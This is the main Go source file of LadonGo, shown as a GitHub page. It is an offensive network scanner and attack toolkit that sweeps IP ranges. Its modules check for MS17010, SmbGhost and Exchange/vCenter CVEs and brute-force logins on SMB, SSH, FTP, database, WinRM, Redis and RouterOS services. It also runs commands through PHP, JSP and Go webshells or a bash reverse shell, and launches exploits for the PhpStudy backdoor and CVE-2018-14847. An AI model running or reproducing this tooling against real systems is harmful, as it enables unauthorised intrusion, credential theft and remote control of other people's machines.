-
Notifications
You must be signed in to change notification settings - Fork 297
/
Ladon.go
721 lines (691 loc) · 21.2 KB
/
Ladon.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
package main
//Ladon Scanner for golang
//Author: k8gege
//K8Blog: http://k8gege.org/Ladon
//Github: https://github.com/k8gege/LadonGo
import (
"fmt"
//"github.com/k8gege/LadonGo/worker"
//"github.com/k8gege/LadonGo/color" //Only Windows
"github.com/k8gege/LadonGo/info"
"github.com/k8gege/LadonGo/vul"
"github.com/k8gege/LadonGo/t3"
"github.com/k8gege/LadonGo/icmp"
"github.com/k8gege/LadonGo/snmp"
"github.com/k8gege/LadonGo/ping"
"github.com/k8gege/LadonGo/port"
"github.com/k8gege/LadonGo/http"
"github.com/k8gege/LadonGo/smb"
"github.com/k8gege/LadonGo/nbt"
"github.com/k8gege/LadonGo/ftp"
"github.com/k8gege/LadonGo/ssh"
"github.com/k8gege/LadonGo/mysql"
"github.com/k8gege/LadonGo/mssql"
"github.com/k8gege/LadonGo/oracle"
"github.com/k8gege/LadonGo/winrm"
"github.com/k8gege/LadonGo/rexec"
"github.com/k8gege/LadonGo/lexec"
"github.com/k8gege/LadonGo/dcom"
"github.com/k8gege/LadonGo/exp"
"github.com/k8gege/LadonGo/dic"
//"github.com/k8gege/LadonGo/tcp"
"github.com/k8gege/LadonGo/redis"
"github.com/k8gege/LadonGo/routeros"
"github.com/fatih/color"
"github.com/armon/go-socks5"
"strings"
"log"
"time"
"os"
"runtime"
"net"
"sync"
"strconv"
"os/user"
"path"
)
func help() {
//if runtime.GOOS=="windows" {fmt.Println("\nHelp:")
//} else{fmt.Println("\033[32m\nHelp:\033[0m")}
color.Green("\nHelp:")
s :=""
if runtime.GOOS!="windows" {
s="./"
}
//fmt.Println(s+"Ladon Help")
fmt.Println(s+"Ladon FuncList")
fmt.Println(s+"Ladon Detection")
fmt.Println(s+"Ladon VulDetection")
fmt.Println(s+"Ladon BruteFor")
fmt.Println(s+"Ladon RemoteExec")
fmt.Println(s+"Ladon Exploit")
fmt.Println(s+"Ladon Example")
}
func FuncList() {
//help()
Detection()
VulDetection()
BruteFor()
RemoteExec()
Exploit()
Example()
}
func Example() {
//if runtime.GOOS=="windows" {fmt.Println("\nExample:")
//} else{fmt.Println("\033[32m\nExample:\033[0m")}
color.Green("\nExample:")
s:=""
if runtime.GOOS!="windows" {
s="./"
}
fmt.Println(s+"Ladon 192.168.1.8/24 MS17010")
fmt.Println(s+"Ladon 192.168.1/c MS17010")
fmt.Println(s+"Ladon 192.168/b MS17010")
fmt.Println(s+"Ladon 192/a MS17010")
fmt.Println(s+"Ladon 192.168.1-192.168.5 MS17010")
fmt.Println(s+"Ladon http://192.168.1.8:8080 BasicAuthScan")
fmt.Println(s+"Ladon ip.txt MS17010")
fmt.Println(s+"Ladon url.txt HttpBanner")
fmt.Println("")
}
func Detection() {
//if runtime.GOOS=="windows" {fmt.Println("\nDetection:")
//} else{fmt.Println("\033[33m\nDetection:\033[0m")}
color.Blue("\nDetection:")
fmt.Println("PingScan\t(Using system ping to detect Online hosts)")
fmt.Println("IcmpScan\t(Using ICMP Protocol to detect Online hosts)")
fmt.Println("SnmpScan\t(Using Snmp Protocol to detect Online hosts)")
fmt.Println("HttpBanner\t(Using HTTP Protocol Scan Web Banner)")
fmt.Println("HttpTitle\t(Using HTTP protocol Scan Web titles)")
fmt.Println("T3Scan \t(Using T3 Protocol Scan Weblogic hosts)")
fmt.Println("PortScan\t(Scan hosts open ports using TCP protocol)")
fmt.Println("TcpBanner\t(Scan hosts open ports using TCP protocol)")
fmt.Println("OxidScan \t(Using dcom Protocol enumeration network interfaces)")
fmt.Println("NbtInfo \t(Scan hosts open ports using NBT protocol)")
fmt.Println("GetExFQND\t(Scan Exchange FQND host)")
}
func VulDetection() {
//if runtime.GOOS=="windows" {fmt.Println("\nVulDetection:")
//} else{fmt.Println("\033[33m\nVulDetection:\033[0m")}
color.Yellow("\nVulDetection:")
fmt.Println("MS17010 \t(Using SMB Protocol to detect MS17010 hosts)")
fmt.Println("SmbGhost\t(Using SMB Protocol to detect SmbGhost hosts)")
fmt.Println("CVE-2021-21972\t(Check VMware vCenter 6.5 6.7 7.0 Rce Vul)")
fmt.Println("CVE-2021-26855\t(Check CVE-2021-26855 Microsoft Exchange SSRF)")
}
func BruteFor() {
//if runtime.GOOS=="windows" {fmt.Println("\nBruteForce:")
//} else{fmt.Println("\033[35m\nBruteForce:\033[0m")}
color.Red("\nBruteForce:")
fmt.Println("SmbScan \t(Using SMB Protocol to Brute-For 445 Port)")
fmt.Println("SshScan \t(Using SSH Protocol to Brute-For 22 Port)")
fmt.Println("FtpScan \t(Using FTP Protocol to Brute-For 21 Port)")
fmt.Println("401Scan \t(Using HTTP BasicAuth to Brute-For web Port)")
fmt.Println("MysqlScan \t(Using Mysql Protocol to Brute-For 3306 Port)")
fmt.Println("MssqlScan \t(Using Mssql Protocol to Brute-For 1433 Port)")
fmt.Println("OracleScan \t(Using Oracle Protocol to Brute-For 1521 Port)")
fmt.Println("WinrmScan \t(Using Winrm Protocol to Brute-For 5985 Port)")
fmt.Println("SqlplusScan\t(Using Oracle Sqlplus Brute-For 1521 Port)")
fmt.Println("RouterOSScan\t(Using RouterOS API Brute-For 8728 Port)")
fmt.Println("RedisScan \t(Using Rdis API Brute-For 6379 Port)")
fmt.Println("MongodbScan\t(Using Mongodb API Brute-For 27017 Port)")
}
func RemoteExec() {
//if runtime.GOOS=="windows" {fmt.Println("\nRemoteExec:")
//} else{fmt.Println("\033[35m\nRemoteExec:\033[0m")}
color.Magenta("\nRemoteExec:")
fmt.Println("SshCmd \t(SSH Remote command execution Default 22 Port)")
fmt.Println("WinrmCmd \t(Winrm Remote command execution Default 5985 Port)")
fmt.Println("PhpShell \t(PHP Shell Remote command execution Default 80 Port)")
fmt.Println("GoWebShell \t(Go WebShell Default http://IP:888/web)")
fmt.Println("WinJspShell\t(JSP Shell Remote command execution Default 80 Port)")
fmt.Println("LnxJspShell\t(JSP Shell Remote command execution Default 80 Port)")
fmt.Println("LnxRevShell \t(Bash Reverse Shell)")
}
func Exploit() {
//if runtime.GOOS=="windows" {fmt.Println("\nExploit:")
//} else{fmt.Println("\033[35m\nExploit:\033[0m")}
color.Magenta("\nExploit:")
fmt.Println("PhpStudyDoor\t(PhpStudy 2016 & 2018 BackDoor Exploit)")
fmt.Println("CVE-2018-14847\t(Export RouterOS Password 6.29 to 6.42)")
fmt.Println("BatchExp\t(Execute EXP scan target.txt)")
fmt.Println("EvilArc\t(Create archive a file with directory traversal)")
}
func Noping() {
s:=""
if runtime.GOOS!="windows" {
s="./"
}
fmt.Println("\nNoping Example:")
fmt.Println(s+"Ladon noping 192.168.1.8 PortScan")
fmt.Println(s+"Ladon noping ip.txt PortScan")
}
var isicmp bool
var ver="4.x"
func incIP(ip net.IP) {
for j := len(ip) - 1; j >= 0; j-- {
ip[j]++
if ip[j] > 0 {
break
}
}
}
func GetUser(){
u,err := user.Current()
if err != nil{
//fmt.Println(err)
return
}
if isicmp {
color.Magenta("User: "+u.Username+" IsAdmin")
} else {
fmt.Println("User: "+u.Username+" IsUser")
}
}
var debugLog *log.Logger
var scanports string
func main() {
color.Yellow("LadonGo 4.2 by k8gege")
fmt.Println("Arch: "+runtime.GOARCH+" OS: "+runtime.GOOS)
fmt.Print("Name: ")
fmt.Print(os.Hostname())
fmt.Print("\r\n")
if icmp.IcmpOK("localhost") {
isicmp=true}
GetUser()
fmt.Println("Pid: ",os.Getpid(),"Process:",path.Base(os.Args[0]))
info.OSver()
scanports=""
ParLen := len(os.Args)
if ParLen==1 {
help()
os.Exit(0)
}
// if ParLen>1 {
// SecPar := os.Args[1]
// fmt.Println("Load "+SecPar)
// }
if ParLen==2 {
SecPar := strings.ToUpper(os.Args[1])
fmt.Println("Load "+SecPar)
if SecPar=="HELP"||SecPar=="/HELP"||SecPar=="-H"||SecPar=="-H" {
help()
os.Exit(0)
}
if SecPar=="HELPLIST"||SecPar=="FUNCLIST" {
FuncList()
os.Exit(0)
}
if SecPar=="NOPING"{
Noping()
os.Exit(0)
}
if SecPar=="GOWEBSHELL"{
rexec.GoWebshell()
os.Exit(0)
}
if SecPar=="BRUTEFOR"||SecPar=="BRUTE"||SecPar=="BRUTEFORCE"||SecPar=="BRUTE-FORCE" {
BruteFor()
os.Exit(0)
}
if SecPar=="DETECTION" || SecPar=="DETECT" || SecPar=="DISCOVER"{
Detection()
os.Exit(0)
}
if SecPar=="VULDETECTION" || SecPar=="VULNERABLE" || SecPar=="POC" || SecPar=="VUL" {
VulDetection()
os.Exit(0)
}
if SecPar=="REMOTEEXEC" {
RemoteExec()
os.Exit(0)
}
if SecPar=="EXPLOIT" || SecPar=="EXP" || SecPar=="RCE" {
Exploit()
os.Exit(0)
}
if SecPar=="EXAMPLE"||SecPar=="USAGE" {
Example()
os.Exit(0)
}
if SecPar == "WINRMCMD" || SecPar == "WINRMEXEC"|| SecPar == "SSHSHELL" {
rexec.WinrmHelp()
os.Exit(0)
}
if SecPar == "SSHCMD" || SecPar == "SSHEXEC" || SecPar == "SSHSHELL" {
ssh.SshHelp()
os.Exit(0)
}
if SecPar == "PHPSTUDYDOOR" || SecPar == "PHPSTUDYBACKDOOR" ||SecPar == "PHPSTUDYRCE"||SecPar == "PHPSTUDYEXP" {
exp.PhpStudyDoorHelp()
os.Exit(0)
}
if SecPar == "CVE-2018-14847" {
exp.Cve2018_14847Help()
os.Exit(0)
}
if SecPar == "PHPSHELL" || SecPar == "PHPWEBSHELL" {
rexec.PhpShellHelp()
os.Exit(0)
}
if SecPar == "WINJSPSHELL" || SecPar == "WINJSPWEBSHELL" {
rexec.WinJspShellHelp()
os.Exit(0)
}
if SecPar == "LNXJSPSHELL" || SecPar == "LNXJSPWEBSHELL" {
rexec.LnxJspShellHelp()
os.Exit(0)
}
if SecPar == "SOCKS5" {
fmt.Println("Usage: Ladon Socks5 ip port")
os.Exit(0)
}
if SecPar == "BATCHEXP" {
fmt.Println("Usage: Ladon BatchExp cmdline SuccessTag")
fmt.Println("Usage: Ladon BatchExp \"exp.exe $url$ whoami\" ISOK")
fmt.Println("Usage: Ladon BatchExp \"./exp $url$ whoami\" ISVUL")
os.Exit(0)
}
if SecPar == "EVILARC" {
fmt.Println("Usage: Ladon EvilArc poc.zip 3 tmp/ lnx test.jsp")
fmt.Println("Supported extesions are zip, jar, tar, tar.bz2, tar.gz and tgz")
fmt.Println("Ex: WINDOWS\\\\System32\\\\ or var/www/")
os.Exit(0)
}
fmt.Println(SecPar,"Moudle Not Found")
os.Exit(0)
}
EndPar := os.Args[ParLen-1]
Target := os.Args[ParLen-2]
if ParLen==4 {
SecPar := strings.ToUpper(os.Args[1])
if SecPar == "GOWEBSHELL" || SecPar == "GOSHELL" {
fmt.Println("Load "+SecPar)
rexec.GoWebShell(os.Args[2],os.Args[3])
os.Exit(0)
}
if SecPar == "LNXREVSHELL" || SecPar == "BASHREVSHELL" {
fmt.Println("Load "+SecPar)
rexec.LnxRevShell(os.Args[2],os.Args[3])
os.Exit(0)
}
if SecPar == "BATCHEXP" {
fmt.Println("Load "+SecPar)
for _, ip := range dic.TxtRead("target.txt") {
fmt.Println("Target: "+ip)
lcmd:=os.Args[2]
if strings.Contains(lcmd, "*target*"){
lcmd=strings.Replace(lcmd,"*target*", ip, -1)
}
fmt.Println("PocCmd: "+lcmd)
lexec.Exec(lcmd)
}
os.Exit(0)
}
if SecPar == "SOCKS5" {
fmt.Println("Load "+SecPar)
conf := &socks5.Config{}
server, err := socks5.New(conf)
if err != nil {
panic(err)
}
fmt.Printf("Socks5 Starting...\n")
fmt.Printf("Listen: "+os.Args[2]+" "+os.Args[3]+"\n")
if err := server.ListenAndServe("tcp", os.Args[2]+":"+os.Args[3]); err != nil {
panic(err)
}
os.Exit(0)
}
fmt.Println(SecPar,"Moudle Not Found")
os.Exit(0)
}
if ParLen==7 {
SecPar := strings.ToUpper(os.Args[1])
if SecPar == "EVILARC" {
fmt.Println("Load "+SecPar)
depth,_:=strconv.Atoi(os.Args[3])
exp.EvilArc(os.Args[2],depth,os.Args[4],os.Args[5],os.Args[6])
os.Exit(0)
}
os.Exit(0)
}
if ParLen==5 {
SecPar := strings.ToUpper(os.Args[1])
if SecPar == "PHPSHELL" || SecPar == "PHPWEBSHELL" {
fmt.Println("Load "+SecPar)
rexec.PhpShellExec(os.Args[2],os.Args[3],os.Args[4])
os.Exit(0)
}
if SecPar == "WINJSPSHELL" || SecPar == "WINJSPWEBSHELL" {
fmt.Println("Load "+SecPar)
rexec.JspShellExecWin(os.Args[2],os.Args[3],os.Args[4])
os.Exit(0)
}
if SecPar == "LNXJSPSHELL" || SecPar == "LNXJSPWEBSHELL" {
fmt.Println("Load "+SecPar)
rexec.JspShellExecLnx(os.Args[2],os.Args[3],os.Args[4])
os.Exit(0)
}
} else if ParLen==4 {
ThirdPar := strings.ToUpper(os.Args[2])
if ThirdPar == "PORTSCAN" || ThirdPar == "SCANPORT"|| ThirdPar == "TCPSCAN" || ThirdPar == "TCPBANNER"|| ThirdPar == "PORTSCANBNNER" || ThirdPar == "SCANPORTBANNER" {
fmt.Println("Load "+ThirdPar)
EndPar = ThirdPar
Target = os.Args[1]
scanports = strings.ToUpper(os.Args[3])
fmt.Println("port "+scanports)
}
SecPar := strings.ToUpper(os.Args[1])
fmt.Println("Load "+SecPar)
if SecPar == "PHPSTUDYDOOR" || SecPar == "PHPSTUDYBACKDOOR" ||SecPar == "PHPSTUDYRCE"||SecPar == "PHPSTUDYEXP" {
exp.PhpStudyDoorExp(os.Args[2],os.Args[3])
os.Exit(0)
}
if SecPar == "CVE-2018-14847" {
exp.Cve2018_14847Exp(os.Args[2],os.Args[3])
os.Exit(0)
}
} else if ParLen>4 {
SecPar := strings.ToUpper(os.Args[1])
fmt.Println("Load "+SecPar)
if SecPar == "WINRMCMD" || SecPar == "WINRMEXEC" || SecPar == "WINRMSHELL"{
rexec.WinrmCmd(os.Args[2],os.Args[3],os.Args[4],os.Args[5],os.Args[6])
os.Exit(0)
}
if SecPar == "SSHCMD" || SecPar == "SSHEXEC" || SecPar == "SSHSHELL" {
ssh.ExecCmd(os.Args[2],os.Args[3],os.Args[4],os.Args[5],os.Args[6])
os.Exit(0)
}
}else if ParLen>3{
fmt.Println("Load ===333")
SecPar := strings.ToUpper(os.Args[1])
fmt.Println("Load "+SecPar)
}
//EndPar := os.Args[ParLen-1]
//Target := os.Args[ParLen-2]
fmt.Println("Targe: "+Target)
//log.Println("Start...")
fmt.Println("\nScanStart: "+time.Now().Format("2006-01-02 03:04:05"))
if ParLen==3 {
fmt.Println("Load "+EndPar)
ScanType := strings.ToUpper(EndPar)
if ScanType == "NBTINFO" {
nbt.Info(Target)
fmt.Println(" Finished: "+time.Now().Format("2006-01-02 03:04:05"))
os.Exit(0)
}
}
ScanType := strings.ToUpper(EndPar)
if strings.Contains(Target, "/f")||strings.Contains(Target, "/F") {
ForScan(ScanType,Target)
} else if strings.Contains(Target, "/c")||strings.Contains(Target, "/C") {
CScan(ScanType,Target)
} else if strings.Contains(Target, "/b")||strings.Contains(Target, "/B") {
BScan(ScanType,Target)
} else if strings.Contains(Target, "/a")||strings.Contains(Target, "/A") {
AScan(ScanType,Target)
} else if strings.Contains(Target, "http:")||strings.Contains(Target, "https:") {
LadonUrlScan(ScanType,Target)
} else if strings.ToUpper(Target)==strings.ToUpper("ip.txt") {
for _, ip := range dic.TxtRead(Target) {
LadonScan(ScanType,ip)
}
} else if strings.ToUpper(Target)==strings.ToUpper("ip24.txt") {
for _, ip := range dic.TxtRead(Target) {
fmt.Println("\nC_Segment: "+ip)
fmt.Println("=============================================")
CScan(ScanType,ip)
}
} else if strings.ToUpper(Target)==strings.ToUpper("ip16.txt") {
for _, ip := range dic.TxtRead(Target) {
fmt.Println("\nB_Segment: "+ip)
fmt.Println("=============================================")
BScan(ScanType,ip)
}
} else if strings.ToUpper(Target)==strings.ToUpper("url.txt") {
for _, ip := range dic.TxtRead(Target) {
LadonUrlScan(ScanType,ip)
}
} else if strings.ToUpper(Target)==strings.ToUpper("host.txt") {
//for _, ip := range dic.TxtRead(Target) {
//LadonUrlScan(ScanType,ip)
//}
} else if strings.ToUpper(Target)==strings.ToUpper("domain.txt") {
//for _, ip := range dic.TxtRead(Target) {
//LadonUrlScan(ScanType,ip)
//}
} else if strings.Contains(Target, "-")&&strings.Contains(Target, ".") {
CRange := strings.Split(Target, "-")
CIP :=strings.Split(CRange[0], ".")
IPC :=CIP[0]+"."+CIP[1]
SIP :=strings.Split(CRange[0], ".")[2]
EIP :=strings.Split(CRange[1], ".")[2]
ips, err := strconv.Atoi(SIP)
ipe, err := strconv.Atoi(EIP)
if err != nil {
}
for i:=ips;i<=ipe;i++ {
ip:=fmt.Sprintf("%s.%d",IPC,i)
fmt.Println("\nC_Segment: "+ip)
fmt.Println("=============================================")
CScan(ScanType,ip)
}
} else if strings.Contains(Target, "/") {
if Target != "" {
ip, ipNet, err := net.ParseCIDR(Target)
if err != nil {
fmt.Println(Target +" invalid CIDR")
return
}
var wg sync.WaitGroup
for ip := ip.Mask(ipNet.Mask); ipNet.Contains(ip); incIP(ip) {
wg.Add(1)
go func(ip string) {
defer wg.Done()
LadonScan(ScanType,ip)
}(ip.String())
}
wg.Wait()
}
} else {
LadonScan(ScanType,Target)
}
//log.Println("Finished")
fmt.Println(" Finished: "+time.Now().Format("2006-01-02 03:04:05"))
}
func CEnd(){
fmt.Println("CFinished: "+time.Now().Format("2006-01-02 03:04:05"))
}
func End(){
fmt.Println(" Finished: "+time.Now().Format("2006-01-02 03:04:05"))
os.Exit(0)
}
func ForScan(ScanType string,Target string){
ip := strings.Replace(Target, "/f", "", -1)
ip = strings.Replace(ip, "/F", "", -1)
ips := strings.Split(ip,".")
ip = ips[0]+"."+ips[1]+"."+ips[2]
for i:=1;i<256;i++ {
ip:=fmt.Sprintf("%s.%d",ip,i)
fmt.Println("c...: "+ip)
LadonScan(ScanType,ip);
}
CEnd()
}
func CScan(ScanType string,Target string){
ip := strings.Replace(Target, "/c", "", -1)
ip = strings.Replace(ip, "/C", "", -1)
ips := strings.Split(ip,".")
ip = ips[0]+"."+ips[1]+"."+ips[2]
var wg sync.WaitGroup
for i:=1;i<256;i++ {
ip:=fmt.Sprintf("%s.%d",ip,i)
wg.Add(1)
go func(ip string) {
defer wg.Done()
//fmt.Println("c: "+ip)
LadonScan(ScanType,ip);
}(ip)
}
wg.Wait()
CEnd()
}
func BScan(ScanType string,Target string){
ip:=strings.Replace(Target, "/b", "", -1)
ip = strings.Replace(ip, "/B", "", -1)
ips := strings.Split(ip,".")
ip = ips[0]+"."+ips[1]
for i:=0;i<256;i++ {
ip:=fmt.Sprintf("%s.%d",ip,i)
fmt.Println("\nC_Segment: "+ip)
fmt.Println("=============================================")
CScan(ScanType,ip)
}
}
func AScan(ScanType string,Target string){
ip:=strings.Replace(Target, "/a", "", -1)
ip = strings.Replace(ip, "/A", "", -1)
ips := strings.Split(ip,".")
ip = ips[0]
for i:=0;i<256;i++ {
ip:=fmt.Sprintf("%s.%d",ip,i)
BScan(ScanType,ip)
}
}
func LadonScan(ScanType string,Target string) {
if ScanType == "GETEXFQND"||ScanType == "FINDEXCHANGE" {
vul.GetExFQND(Target)
} else if ScanType == "CVE-2021-26855" {
vul.CheckCVE_2021_26855(Target)
} else if ScanType == "CVE-2021-21972" {
vul.CheckCVE_2021_21972(Target)
} else if ScanType == "PINGSCAN" ||ScanType == "PING" {
ping.PingName(Target)
} else if ScanType == "ICMPSCAN" ||ScanType == "ICMP" {
//icmp.Icmp(Target,debugLog)
icmp.Online(Target)
} else if ScanType == "SNMPSCAN" ||ScanType == "SNMP" {
snmp.GetInfo(Target)
} else if ScanType == "ONLINEPC"{
if isicmp {
icmp.Icmp(Target,debugLog)
}else if ping.PingOK(Target) {
ping.PingName(Target)
}
snmp.SnmpOK(Target)
} else if ScanType == "PORTSCAN" || ScanType == "SCANPORT"|| ScanType == "TCPSCAN" {
//Only Scan Port
/*if isicmp {
if icmp.IcmpOK(Target) {
if strings.Contains(scanports, ",") {
port.ScanPorts(Target,scanports)
} else {
port.ScanPort(Target)
}
}
}else if ping.PingOK(Target) {
if strings.Contains(scanports, ",") {
port.ScanPorts(Target,scanports)
} else {
port.ScanPort(Target)
}
}*/
//Scan Port & Banner
if isicmp {
if icmp.IcmpOK(Target) {
if strings.Contains(scanports, ",") {
port.ScanPortBanners(Target,scanports)
} else if strings.Contains(scanports, "-") {
port.ScanPortBannerRange(Target,scanports)
} else if scanports!="" {
port.ScanPortBannerSingle(Target,scanports)
} else {
port.ScanPortBanner(Target)
}
}
}else if ping.PingOK(Target) {
if strings.Contains(scanports, ",") {
port.ScanPortBanners(Target,scanports)
} else if strings.Contains(scanports, "-") {
port.ScanPortBannerRange(Target,scanports)
} else if scanports!="" {
port.ScanPortBannerSingle(Target,scanports)
} else {
port.ScanPortBanner(Target)
}
}
} else if ScanType == "TCPBANNER"|| ScanType == "PORTSCANBNNER" || ScanType == "SCANPORTBANNER" {
if isicmp {
if icmp.IcmpOK(Target) {
if strings.Contains(scanports, ",") {
port.ScanPortBanners(Target,scanports)
} else {
port.ScanPortBanner(Target)
}
}
}else if ping.PingOK(Target) {
if strings.Contains(scanports, ",") {
port.ScanPortBanners(Target,scanports)
} else {
port.ScanPortBanner(Target)
}
}
} else if ScanType == "HTTPBANNER" ||ScanType == "WEBBANNER" {
http.HttpBanner(Target)
} else if ScanType == "HTTPTITLE" || ScanType == "WEBTITLE" {
http.ScanTitle(Target)
} else if ScanType == "T3SCAN" || ScanType=="WEBLOGICSCAN" {
t3.T3version(Target)
} else if ScanType == "OXIDSCAN" || ScanType=="ETHSCAN" {
dcom.OxidInfo(Target)
} else if ScanType == "MS17010" {
smb.MS17010(Target,3)
} else if ScanType == "SMBSCAN" {
smb.SmbScan(ScanType,Target)
} else if ScanType == "NBTINFO" {
//nbt.Info(ScanType,Target)
//nbt.Info(Target)
//nbt.Info()
} else if ScanType == "FTPSCAN" {
ftp.FtpScan(ScanType,Target)
} else if ScanType == "SMBGHOST"||ScanType == "CVE-2020-0796" {
smb.SmbGhost(Target,445)
} else if ScanType == "SSHSCAN" {
ssh.SshScan(ScanType,Target)
} else if ScanType == "MYSQLSCAN" {
mysql.MysqlScan(ScanType,Target)
} else if ScanType == "MSSQLSCAN" {
mssql.MssqlScan(ScanType,Target)
} else if ScanType == "ORACLESCAN" {
//oracle.OracleScan(ScanType,Target)
} else if ScanType == "SQLPLUSSCAN" {
oracle.SqlPlusScan(ScanType,Target)
} else if ScanType == "WINRMSCAN" {
winrm.WinrmScan(ScanType,Target)
} else if ScanType == "REDISSCAN" {
redis.RedisNullScan(ScanType,Target)
} else if ScanType == "ROUTEROSSCAN" {
routeros.RouterOSScan(ScanType,Target)
} else if ScanType == "CVE-2018-14847" {
exp.Cve2018_14847Exp(Target,"8291")
} else if ScanType == "HTTPBASICSCAN" ||ScanType == "BASICAUTHSCAN" ||ScanType == "401SCAN" {
http.BasicAuthScan(ScanType,"http://"+Target)
} else {
fmt.Println(ScanType,"Moudle Not Found")
os.Exit(0)
}
}
func LadonUrlScan(ScanType string,Target string) {
if ScanType == "CVE-2021-21972" {
vul.CheckCVE_2021_21972(Target)
} else if ScanType == "HTTPBANNER" ||ScanType == "WEBBANNER" {
http.HttpBanner(Target)
} else if ScanType == "HTTPTITLE" || ScanType == "WEBTITLE" {
http.ScanTitle(Target)
} else if ScanType == "HTTPBASICSCAN" ||ScanType == "BASICAUTHSCAN" ||ScanType == "401SCAN" {
http.BasicAuthScan(ScanType,Target)
} else {
fmt.Println(ScanType,"Moudle Not Found")
os.Exit(0)
}
}